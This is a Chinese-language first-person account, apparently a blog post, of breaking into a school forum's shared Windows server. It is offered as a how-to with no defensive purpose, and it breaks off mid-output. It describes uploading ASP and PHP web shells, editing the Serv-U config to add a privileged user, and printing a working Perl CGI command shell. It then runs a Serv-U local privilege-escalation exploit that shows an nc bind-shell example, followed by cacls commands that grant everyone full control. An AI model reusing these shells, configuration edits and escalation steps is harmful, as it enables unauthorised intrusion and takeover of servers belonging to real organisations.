入侵一个管理员设置的超Bt服务器

以前入侵少之又少，都是研究这样研究那样，实战经验太欠缺了，所以决定暑假恶补一下渗透技术，顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透，从 xiaolu 身上学习到不少好的思路和经验。在此谢谢xiaolu 了。 一个多月的时间里，渗透过上百台服务器，有独立的，有虚拟主机的，有群组的，有国内和国外，我发现一个极其严重的问题，国外的服务器，普遍安全性都非常高，管理员的安全意识非常高，做个比例，如果国内平均每 10 台服务器，能渗透进去 6 台甚至更多，那国外、台湾的，平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识，迫切需要大幅度提高。 不过国内的也有比较 BT 的管理员，我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录，难道是 nsfocus 公司帮做的安全？这个服务器我们没有拿下，还有另外一个，就是今天的重点。 一次看见了一个学校论坛（http://www.*****.com），还蛮火爆的，顿时兴趣来了， ping 了一下，发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的，象我这种以 Web 安全的，自然喜欢从站点上找漏洞，自从学习 Web 开始，我就落下一个怪癖，就是如果实在从 Web 上找不到什么漏洞，宁愿放弃也不用什么漏洞扫描器。 大概看了看站点。就是一个论坛，采用 LeadBBS ，拿这个论坛没辙，还有其他办法，因为刚才我访问这个 IP ，返回“No web site is configured at this address.”，初步判断是虚拟主机，前段时间那几个黑站狂黑站的成功几率为什么这么高？因为有 http://whois.webhosting.info 这个网站，可以查询一个 IP 上，绑定了多少个域名。如果真的是虚拟主机，这个学校论坛没有漏洞，不代表其他站点就没有，很快的，我就通过一个小公司站点（ http://anyhost/ ）上的 DVBBS 6.0 传了一个 aspshell 上去，谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限，又用不了 Nfso ，手工跳转 URL 中的目录，也没有多少个可以浏览的，重要的 Program Files 和 Documents and Settings 目录都看不了，从 aspshell 反馈的信息来看，每个站点都设置了单独的用户，似乎一切都陷入僵局。 没有目的的跳转目录着…… 我习惯性的在 URL 跳转到 c:\php，没想到居然可以看见了，那这个主机很可能就会支持 php 了，马上传了一个 phpspy 上去，非常幸运，顺利看到了登陆入口，可是没想到进入以后才发现，php.ini 亦设置得异常 BT，安全模式打开了， phpinfo 函数也被禁用了，看不了详细的系统信息，不过看 phpspy 自带的探针可以发现，allow_url_fopen、display_errors、 register_globals 统统关闭，system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了，直接跳转目录还是只可以看到这些目录而已，各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的，每个站点目录后面的那些字符串都不一样，也跳转不到，后来我猜测后面的字符串就是 ftp 密码，试验了一下，无法登陆，看似柳暗花明，希望又破灭了…… 结束了吗？不，我试着 FTP 一下： Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. C:\Documents and Settings\Administrator>ftp www.*****.com Connected to www. school.com. 220 Welcome to FTP Server... User (www.bjtrq.com:(none)): 331 User name okay, need password. Password: 530 Not logged in. Login failed. ftp> bye 221 Goodbye! 从返回的信息判断，我们还是有希望的。尽管他修改了 FTP Server 的 Banner，但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ，我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ，如果我能传一个上去，并且能够执行，一切就明朗了。再仔细想想有哪个目录可以写的？当时在 c:\php 目录下没有发现 sessiondata 目录，而且也不是自动安装版，估计管理员把 session 的目录换到其他地方了，不然这个目录是 everyone 可写的…… 原来我还忘记了一个最重要的目录， C:\Documents and Settings\All Users ，从这个目录可以知道很多信息，这个目录一般、至少都是 everyone 可读的，这样我们就可以知道好多有用的信息了，直接通过我的 aspshell 手工跳转到这个目录，呵呵。马上看到了想看的目录树。 Application Data Documents DRM Favorites Templates 「开始」菜单 桌面 马上试试建目录，可惜里面的目录包括子目录都无法新建， BT 管理员权限设置得还真严格，不过我们还是有收获的，那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里，看到了很多决定结果的有用信息， ActiveState ActivePerl 5.8 Administrative Tools Deerfield.com DTemp IPSentry MBM 5 NetMeter Network ICE Persits Software AspEmail Persits Software AspJpeg Serv-U FTP Server Symantec Client Security Windows 优化大师 WinRAR 启动 管理工具 附件 呵呵，现在我们知道了好多有用的信息了，看着这些东西，可以看得出管理员对安全、效率很在意，装了 Perl，也就是说可能支持 cgi 了， IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员，确保服务器出现问题能及时处理，说明管理员比较负责任，NetMeter 可以对网络流量进行监控，装了黑冰防火墙和诺顿杀毒服务器版，说明管理员对于服务器的安全是很小心的，这还不算，还装了另外一个防火墙—— VisNetic Firewall，真是 BT 到家了，装了优化大师，看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ，还有终端服务，这下好了，说不定顺利就可以多一台 3389 肉鸡了。 先通过 aspshell 下载 Serv-U 的任意一个快捷方式，然后本地查看属性的目标，呵呵，原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ，这下好了，直接跳转目录。OH～，yes～～，看到了，马上修改 ServUDaemon.ini文件，这个服务器居然放了 280 个用户，狂晕……不管了，先在添加 [Domain1] 里加一行： User281=angel|1|0 然后加上 [USER=angel|1] Password=ng98F85379EA68DBF97BAADCA99B69B805 HomeDir=D:\websites RelPaths=1 TimeOut=600 Maintenance=System Access1=D:\websites|RWAMELCDP SKEYValues= 添加一个 angel，密码为 111111 的用户，具有最高权限执行，然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了，嘻嘻偷笑中…… 不过残酷现实再一次粉碎了我的计划，修改好文件以后提交，居然是没有修改成功，看来还是权限，权限权限整惨人啊。 不过还是有希望的，因为刚才我们看到了系统装了黑冰，有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”，可以远程利用的，手头上没有编译器，没有办法编译代码。 还有就是 Perl，这个是个很大的突破口，因为 Perl 目录一般要 erveryone 完全控制的，不管他用 isap 还是 perl.exe 一般都是可写、可执行的，马上下载 Perl 的快捷方式来看看路径，呵呵，看到了，原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件，这么说这个目录可能可以写，也可能可以执行咯，马上传一个 su.exe（针对目前所有版本的 Serv-U 本地提升权限漏洞）上去，呵呵，传上去了，太好了，现在就是执行了，刚才我们试了 aspshell、phpshell 都不行，现在就看最后的希望了，找呀找啊，终于在我硬盘上找到一个 cgishell，很老了，文件日期是 2002 年 6 月 30 日的，代码如下： #!/usr/bin/perl binmode(STDOUT); syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); $Content$ = $ENV{QUERY_STRING}; s/ / /ig; s///\//ig; $execthis = $Content$ ; syswrite(STDOUT, " \r\n", 13); open(STDERR, ">&STDOUT") || die "Can’t redirect STDERR"; system($execthis); syswrite(STDOUT, "\r\n \r\n", 17); close(STDERR); close(STDOUT); exit; 我用过最好的 cgishell ，保存为一个 cgi 文件执行，晕……居然不支持！一阵阵郁闷袭来，2 秒钟的郁闷后，想到还有一线希望，那就是pl ，我们还没有试试 pl 扩展呢，把刚才的 cgi 文件改为 pl 文件，提交 http://anyhost//cmd.pl?dir ，我的天啊！！ 显示“拒绝访问”，终于可以执行了！太兴奋了，马上提交： http://anyhost//cmd.pl?d:\user\bin\su.exe 返回： Serv-u >3.x Local Exploit by xiaolu USAGE: serv-u.exe "command" Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 嘻嘻～～现在是 IUSR 权限，那又怎么样？看你这次还不死？提交： http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... T /G everyone:F" 返回下面的信息，就表示成功了！！！ Serv-u >3.x Local Exploit by xiaolu <220 Serv-U FTP Server v5.2 for WinSock ready... >USER LocalAdministrator <3